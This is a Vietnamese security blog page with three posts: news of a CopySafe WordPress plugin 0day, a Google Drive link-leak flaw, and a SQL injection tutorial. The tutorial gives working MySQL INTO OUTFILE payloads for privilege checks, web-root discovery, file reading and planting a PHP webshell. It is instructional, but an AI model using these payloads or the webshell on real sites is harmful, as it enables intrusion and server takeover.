<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Một hacker có tên <a href="http://1337day.com/exploit/description/22314" style="font-style: inherit;" target="_blank">Aloulou hacker</a> đã
 công bố một bản khai thác bí mật trên website 1337day.com có thể cho 
phép một hacker upload một webshell lên một website wordpress có sử dụng
 plugin  <a href="http://wordpress.artistscope.com/?page_id=39" style="font-style: inherit;" target="_blank">CopySafe Web Protection WordPress</a>.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<blockquote>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">1337day.com đây có thể được gọi là 1 “chợ” 
của các exploit, nơi mà các hacker, chuyên gia bảo mật, các nhà chính 
trị trao đổi mã độc, các lỗi zeroday mà các hacker tìm ra.</span></div>
</blockquote>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><a href="http://securitydaily.net/wp-content/uploads/2014/07/wordpress-copysafe-web-protection-vulnerability-620x264.jpg" rel="lightbox[4532]" title="[Cảnh báo] Lỗ hổng 0day trong CopySafe Web Protection WordPress plugin"><img alt="wordpress-copysafe-web-protection-vulnerability-620x264" class="aligncenter size-full wp-image-4533" src="http://securitydaily.net/wp-content/uploads/2014/07/wordpress-copysafe-web-protection-vulnerability-620x264.jpg" /></a></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Hacker đã tìm cách upload một mà độc thông qua CopySafe Web Protection Plugin.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">WordPress được sử dụng bởi hàng triệu website
 và CopySafe Web Protection plugin được sử dụng bởi người dùng 
wordpress. Nó cho phép người dùng có thể cũng cấp 1 số tính năng cho 
người dùng</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<ul>
<li style="font-style: inherit;"><span style="font-family: "Trebuchet MS",sans-serif;"><b style="font-style: inherit;">Copy Protecting Images</b></span></li>
<li style="font-style: inherit;"><span style="font-family: "Trebuchet MS",sans-serif;"><b style="font-style: inherit;">Protecting all web page media</b></span></li>
<li style="font-style: inherit;"><span style="font-family: "Trebuchet MS",sans-serif;"><b style="font-style: inherit;">Copy Protecting Flash, PDF and video online</b></span></li>
</ul>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">Vậy, nếu bạn đang sử dụng plugin này, hãy tạm thời deactivate nó ngay và chờ các bản cập nhật mới từ nhà cung cấp.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="color: black;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI9lrApn0NTRFv97Y1H1Sg0rh1ITjb7DsZA9mJZO4ZW3dmW7izjLeX6fCVnzR6HYFeIKZ-KsosxAIq515h9-btw1h4G2isCDIa0Ow6BSsX_ICCzRc1hQYMi6-zv5yFuYCQj45EnPwuPWg/s1600/wordpress-copysafe-web-protection-vulnerability.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="568" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI9lrApn0NTRFv97Y1H1Sg0rh1ITjb7DsZA9mJZO4ZW3dmW7izjLeX6fCVnzR6HYFeIKZ-KsosxAIq515h9-btw1h4G2isCDIa0Ow6BSsX_ICCzRc1hQYMi6-zv5yFuYCQj45EnPwuPWg/s1600/wordpress-copysafe-web-protection-vulnerability.jpg" width="640" /></a></span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;">Lỗ hổng này hiện đang được rao bán rộng rãi với giá 20 Gold trên 1337day.com.</span></div>
<div style="text-align: right;">
<span style="font-family: "Trebuchet MS",sans-serif;"><i><a href="http://cyberwarzone.com/warning-0day-wordpress-copysafe-web-protection-shell-upload/" target="_blank"><span style="text-decoration: underline;">CyberwareZone</span></a></i> </span></div>
</div>

[Cảnh báo] Lỗ hổng 0day trong CopySafe Web Protection WordPress plugin

Một hacker có tên Aloulou hacker đã công bố một bản khai thác bí mật trên website 1337day.com có thể cho phép một hacker upload một web...

Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="entry clear-block">
  <span style="font-family: "Trebuchet MS",sans-serif;">Trong bài viết này tôi sẽ đề cập đến câu lệnh “<span style="color: red;">into outfile</span>“,
 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker 
khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là <span style="color: green;"><strong>MySQL</strong></span>). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (<span style="color: blue;">FILE privilege</span>) và vấn đề thư mục liên quan.</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red; text-decoration: underline;">Chú ý: </span>Tấn
 công một website mà chưa có sự đồng ý của chủ nhân là vi phạm pháp 
luật. Bài viết này chỉ mang tính nghiên cứu và học hỏi. Tôi khuyến khích
 mọi người nên tự cài đặt hệ thống trên máy của mình và thử nghiệm, 
không nên tấn công phá hoại các site trên thực tế – c0mm3nt 2009</span><br />

<h2 style="text-align: left;">
<span style="font-family: Verdana,sans-serif;"><span style="color: blue;"><strong>1. Quyền FILE (<span style="color: purple;">FILE privilege</span>)</strong></span></span></h2>
<h2>
<span style="font-family: "Trebuchet MS",sans-serif;"></span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Nếu chúng ta muốn <span style="color: blue;">đọc hay ghi các file</span> thì MySQL user phải được cấp quyền FILE<br />
Thử xem xét một số lệnh sau đây:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1' union select current_user,null/*</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">hoặc</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1' union select user(),null/*</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:</span>
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: green;">Usernam@server</span><br />
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được.</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1' and user() like 'root 1' and mid(user(),1,1) 1' and mid(user(),2,1)>'m 1' 
and ascii(substring(user(),1,1))>64 .....</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Khi chúng ta đã biết <span style="color: purple;">username</span>, ta có thể kiểm tra xem user này có <span style="color: red;">quyền FILE</span> hay không<br />
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng <span style="color: green;"><span class="skimlinks-unlinked">mysql.user</span></span>:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1' union select file_priv,null from <span style="color: green;"><span class="skimlinks-unlinked">mysql.user</span></span> where user='username</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red; text-decoration: underline;">Chú ý:</span> thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà <span style="color: blue;">không cần thêm mệnh đề where</span>, tuy nhiên tôi</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất – khi chuyển sang Blind</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1' and mid((select file_priv from <span class="skimlinks-unlinked">mysql.user</span> where user='username'),1,1)='a <span style="color: purple;"> 
(đừng có thêm NULL ở đây, vì đây ko phải là union select)</span></span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Cách trên có thể áp dụng cho cả <span style="color: green;">Mysql version <span style="color: red;">4.x</span> và <span style="color: red;">5.x</span></span><br />
Nếu <span style="color: green;">MySQL là <span style="color: red;">5.x</span></span> ta còn có thể xem quyền FILE ngay trong <span style="color: blue;">information_schema</span></span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ union select grantee,is_grantable FROM information_schema.user_privileges </span>
<span style="color: blue;">privilege_type = ‘file’ and grantee like ‘%username%</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;">Với blind:</span></span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1′ and mid((select is_grantable from information_schema.user_privileges </span>
<span style="color: blue;">where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Nếu bạn không thể truy cập vào bảng <span style="color: green;"><span class="skimlinks-unlinked">mysql.user</span></span> hoặc <span style="color: blue;"><span class="skimlinks-unlinked">information_schema.user</span></span> chúng ta cũng cứ</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">sử dụng <span style="color: red;">INTO OUTFILE</span> sẽ không thực hiện được</span><br />

<h2 style="text-align: left;">
<span style="font-family: Verdana,sans-serif;"><span style="color: blue;"><strong>2. Vấn đề về thư mục web</strong></span></span></h2>
<h2>
<span style="font-family: "Trebuchet MS",sans-serif;"></span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Khi chúng ta biết chắc rằng <span style="color: purple;">mysql user hiện tại có quyền FILE</span>, chúng ta cần phải tìm cho được đường dẫn</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">chính xác đến thư mục/file mà ta muốn ghi file.<br />
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../<br />
Với <span style="color: green;"><strong>Mysql ver <span style="color: red;">4</span></strong></span>, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ UNION SELECT load_file(’a'),null/*</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Trong <span style="color: green;"><strong>Mysql <span style="color: red;">5</span></strong></span> thì có thể union select:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ UNION SELECT @@datadir,null/*</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Thư mục mặc định để ghi file sẽ là <span style="color: green;">datadir\databasename</span><br />
Bạn có thể biết được tên databasename bằng câu lệnh</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ UNION SELECT database(),null/*</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như <span style="color: red;">mysql_result()<span style="color: blue;">,</span> mysql_free_result()<span style="color: blue;">,</span></span></span><br />

<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;">mysql_fetch_row()</span> hoặc các lệnh tương tự.</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Trong các warning này sẽ hiển thị đường dẫn đến thư mục web và chúng ta dễ dàng xác định được</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">thư mục để ghi file lên. Các warning này có dạng như</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: purple;">Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result </span>
<span style="color: purple;">resource in /home/shop/shopping2/list1.html on line 80</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">để hiện thị warning này có thể thử câu lệnh <span style="color: red;">0′ AND 1=’0</span></span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của <span style="color: blue;">mysql bị tắt</span> thì</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">1 số đường dẫn mặc định đến file cấu hình:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: green;">/etc/init.d/apache 
/etc/init.d/apache2 
/etc/httpd/<span class="skimlinks-unlinked">httpd.conf</span> 
/etc/apache/<span class="skimlinks-unlinked">apache.conf</span> 
/etc/apache/<span class="skimlinks-unlinked">httpd.conf</span> 
/etc/apache2/apache2.conf 
/etc/apache2/<span class="skimlinks-unlinked">httpd.conf</span> 
/usr/local/apache2/conf/<span class="skimlinks-unlinked">httpd.conf</span> 
/usr/local/apache/conf/<span class="skimlinks-unlinked">httpd.conf</span> 
/opt/apache/conf/<span class="skimlinks-unlinked">httpd.conf</span> 
/home/apache/<span class="skimlinks-unlinked">httpd.conf</span> 
/home/apache/conf/<span class="skimlinks-unlinked">httpd.conf</span> 
/etc/apache2/sites-available/default 
/etc/apache2/vhosts.d/default_vhost.include</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt <span class="wp-smiley emoji emoji-smile" title=":)">:)</span></span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Thông thường thư mục gốc chứa web thường đặt ở:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: purple;">/var/www/html/ 
/var/www/web1/html/ 
/var/www/sitename/htdocs/ 
/var/www/localhost/htdocs 
/var/www/vhosts/sitename/httpdocs/</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">bạn có thể google để tìm thêm</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE.</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public.</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Xem thêm tại <a href="http://dev.mysql.com/doc/refman/5.1/...s-options.html" target="_blank">http://dev.mysql.com/doc/refman/5.1/…s-options.html</a></span><br />

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><strong>3. Tạo ra các file hữu dụng</strong></span></span></h2>
<h2>
<span style="font-family: "Trebuchet MS",sans-serif;"></span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/<span class="skimlinks-unlinked">file.txt</span></span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">1′ OR 1=1 INTO OUTFILE ‘../../web/dir/<span class="skimlinks-unlinked">file.txt</span></span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Nếu muốn b<span style="color: purple;">ỏ các ký tự splitting</span> trong dữ liệu, ta có thể sử dụng <span style="color: red;">INTO DUMPFILE</span> thay vì <span style="color: red;"><strong>INTO OUTFILE</strong></span></span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">Cũng có thể kết hợp giữa <span style="color: red;">load_file()</span> để đọc các file trên server</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Trong một số trường hợp ta cần sử dụng <span style="color: red;">hex</span> và <span style="color: red;">unhex</span>:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…</span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Hoặc bạn có thể ghi bất cứ thứ j vào file, như là <span style="color: purple;">webshell</span> chẳng hạn</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;">0′ AND 1=0 UNION SELECT ‘code’,null INTO 
OUTFILE ‘../../web/server/dir/<span class="skimlinks-unlinked">file.php</span></span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Đây là 1 số ví dụ:</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;">// PHP SHELL 
<? system($_GET['c']); ?></span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">hoặc <span style="color: purple;">passthru</span> nếu muốn</span><br />

<div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">Code:</span></div>
<pre><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;">// webserver info 
<? phpinfo(); ?>
 
// SQL QUERY 
<? ... $result = mysql_query($_GET['query']); … ?></span></span></pre>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">Cuối cùng, 1 số chú ý về kiểu khai thác này:<br />
-Không thể <span style="color: red;">overwrite file</span> với câu lệnh này<br />
-<strong><span style="color: red;">INTO OUTFILE</span></strong> phải là mệnh đề cuối cùng trong câu truy vấn<br />
-Tôi không biết cách nào để mã hóa <span style="color: purple;">FILENAME</span> trong <span style="color: red;">INTO OUTFILE(<span style="color: green;">‘<span style="color: purple;">FILENAME</span>‘</span>)</span> chặn ‘ thì</span><br />

<span style="font-family: "Trebuchet MS",sans-serif;">không khai thác được, biết cách khai thác vui lòng PM<br />
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh <span style="color: red;">char()</span></span><br />

<div style="text-align: right;">
<i><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: purple;">Source: Thanggiangho</span></span></i></div>
</div>
</div>

Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

Trong bài viết này tôi sẽ đề cập đến câu lệnh “ into outfile “, 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker k...

Lỗ hổng bảo mật trên Google Drive lộ thông tin cá nhân của người dùng

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;"><span class="mr_social_sharing"><a class="linksalpha_button linksalpha_link" data-button="icon_small" data-desc="Một vấn đề bảo mật vừa được phát hiện trên Google Drive khiến cho những thông tin nhạy cảm và thông tin cá nhân lưu trữ trên dịch vụ đám mây này có thể bị tiết lộ cho các bên thứ 3 trái phép. Hiện nay lỗ hổng bảo mật này đã" data-image="http://securitydaily.net/wp-content/uploads/2014/07/google-drive-hacking.jpg" data-text="Lỗ hổng bảo mật trên Google Drive lộ thông tin cá nhân của người dùng" data-url="http://securitydaily.net/lo-hong-bao-mat-tren-google-drive-lo-thong-tin-ca-nhan-cua-nguoi-dung/" href="http://www.linksalpha.com/social/mobile">
     </a></span></span><br />
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7MtMrFYR1_XCBpYATJs4DvOqe3oStwx4jLYaIUwZg7LxAjAM7YcOSojY_0hSSPSGP2FXhs1kbKyd3RYk-idqPQC8irBziSPiCmvTnu4k8WsxL6D8Up-QsoDWrSzerestbupXffwErTyT/s1600/google-drive-hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7MtMrFYR1_XCBpYATJs4DvOqe3oStwx4jLYaIUwZg7LxAjAM7YcOSojY_0hSSPSGP2FXhs1kbKyd3RYk-idqPQC8irBziSPiCmvTnu4k8WsxL6D8Up-QsoDWrSzerestbupXffwErTyT/s1600/google-drive-hacking.jpg" width="640" /></a></div>
<span style="font-family: "Trebuchet MS",sans-serif;"><a href="http://securitydaily.net/wp-content/uploads/2014/07/google-drive-hacking.jpg" rel="lightbox[4448]" title="Lỗ hổng bảo mật trên Google Drive lộ thông tin cá nhân của người dùng"><br /></a></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Một vấn đề bảo mật vừa được phát hiện 
trên Google Drive khiến cho những thông tin nhạy cảm và thông tin cá 
nhân lưu trữ trên dịch vụ đám mây này có thể bị tiết lộ cho các bên thứ 3
 trái phép.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Hiện nay lỗ hổng bảo mật này đã được 
Google khắc phục nhưng trong quá trình tìm kiếm lỗ hổng các nhà nghiên 
cứu đã chỉ ra rằng lỗ hổng của dịch vụ điện toán đám mây này được truy 
cập bằng một liên kết có thể cho phép “<i>bất kỳ ai có liên kết này</i>” đều có thể truy cập vào  dữ liệu của người dùng mà không cần thêm bất cứ xác thực nào khác.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<h4 style="text-align: justify;">
<span style="color: red;"><span style="font-family: Verdana,sans-serif;"><b>LỖ HỔNG BẢO MẬT NÀY HOẠT ĐỘNG NHƯ THẾ NÀO</b></span></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Lỗ hổng bảo mật này gây ra một nguy cơ 
trong các file dữ liệu có chứa các đường dẫn (URL) và có thể click vào 
được. Khi một ai đó mở file này ra và click vào một siêu liên kết đó, họ
 sẽ được đưa đến một website thuộc quyền sở hữu của một bên thứ ba, khi 
đó họ có thể truy cập vào các thông tin cá khác của bạn bằng cách truy 
cập vào các tài liệu gốc chứa URL này.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<h4 style="text-align: justify;">
<span style="color: red;"><span style="font-family: Verdana,sans-serif;"><b>LỜI GIẢI THÍCH CỦA GOOGLE</b></span></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Google giải thích bản chất thật sự của 
lỗ hổng này trên một blog được xuất bản vào tuần trước. Công ty này 
nói rằng lỗ hổng này chỉ ảnh hường đến một số lượng tập tin nhỏ trong 
các file dữ liệu được lưu trên Google Drive.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Vấn đề bảo mật này chỉ xảy ra khi có tất cả 4 điều kiện sau đây xảy ra:</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<ul style="text-align: justify;">
<li><span style="font-family: "Trebuchet MS",sans-serif;">File dữ liệu đã được tải lên Google Drive</span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;">File dữ liệu này không được chuyển đổi sang dạng Docs, Sheet hoặc Slide (ví dụ vẫn giữ được định dạng gốc như pdf, .docx, v.v)</span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;">Chủ của file dữ liệu này đã thay đổi cách cài đặt chia sẻ để tài liệu này được tất cả mọi người đều có thể thấy được</span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;">Trong nội dung của File dữ liệu này chứa siêu liên kết đến các website HTTPS của bên thứ ba.</span></li>
</ul>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Nếu tất cả các điều kiện trên xảy ra, 
thì một người dùng click vào siêu liên kết này có thể sẽ tình cờ gửi các
 thông tin quan trọng đến với nhà quản  trị  website của bên thứ ba, cho
 phép họ có thể nhìn thấy URL này của văn bản gốc liên kết với trang web
 của họ.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Tuy nhiên Google quả quyết với người 
dùng rằng những tài liệu mới được chia sẻ cùng với các siêu liên kết với
 các website HTTPS của bên thứ ba sẽ không được kèm theo URL tài liệu 
gốc.</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<h4 style="text-align: justify;">
<span style="color: red;"><span style="font-family: Verdana,sans-serif;"><b>LÀM THẾ NÀO ĐỂ BẢO VỆ BẢN THÂN</b></span></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Cùng lúc đó, nếu bạn nhận được bất kì 
một tài liệu được chia sẻ trước đó mà giống như một trong 4 tiêu chí 
trên, Google nói rằng bạn có thể tạo ra một liên kết mới và an bằng ba 
bước đơn giản dưới đây:</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<ul style="text-align: justify;">
<li><span style="font-family: "Trebuchet MS",sans-serif;">Tạo ra một bản copy của tài liệu bằng các bước  File> “Make a copy…”</span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;">Chia sẻ bản copy của tài liệu này hoặc sử dụngmột liên kết mới để thực hiện việc chia sẻ.</span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;">Xóa bản tài liệu gốc</span></li>
</ul>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;">Lỗ hổng bảo mật này tương tự như lỗ hổng
 siêu liên kết Dropbox được phát hiện vào đầu năm ngoái bởi Intralinks. 
Lỗ hổng siêu liên kết trên Dropbox làm lộ các dữ liệu cá nhân và các 
loại thông tin liên quan đến bản khai thu nhập cá nhân, thông tin tài 
khoản ngân hàng, các ứng dụng thế chấp và kế hoạch kinh doanh lưu trữ 
trên Dropbox mà bạn không bao giờ muốn tiết lộ.</span></div>
<div style="text-align: right;">
<span style="font-family: "Trebuchet MS",sans-serif;"><i>SecurityDaily </i></span></div>
</div>

Lỗ hổng bảo mật trên Google Drive lộ thông tin cá nhân của người dùng

Một vấn đề bảo mật vừa được phát hiện trên Google Drive khiến cho những thông tin nhạy cảm và thông tin cá nhân lưu trữ trê...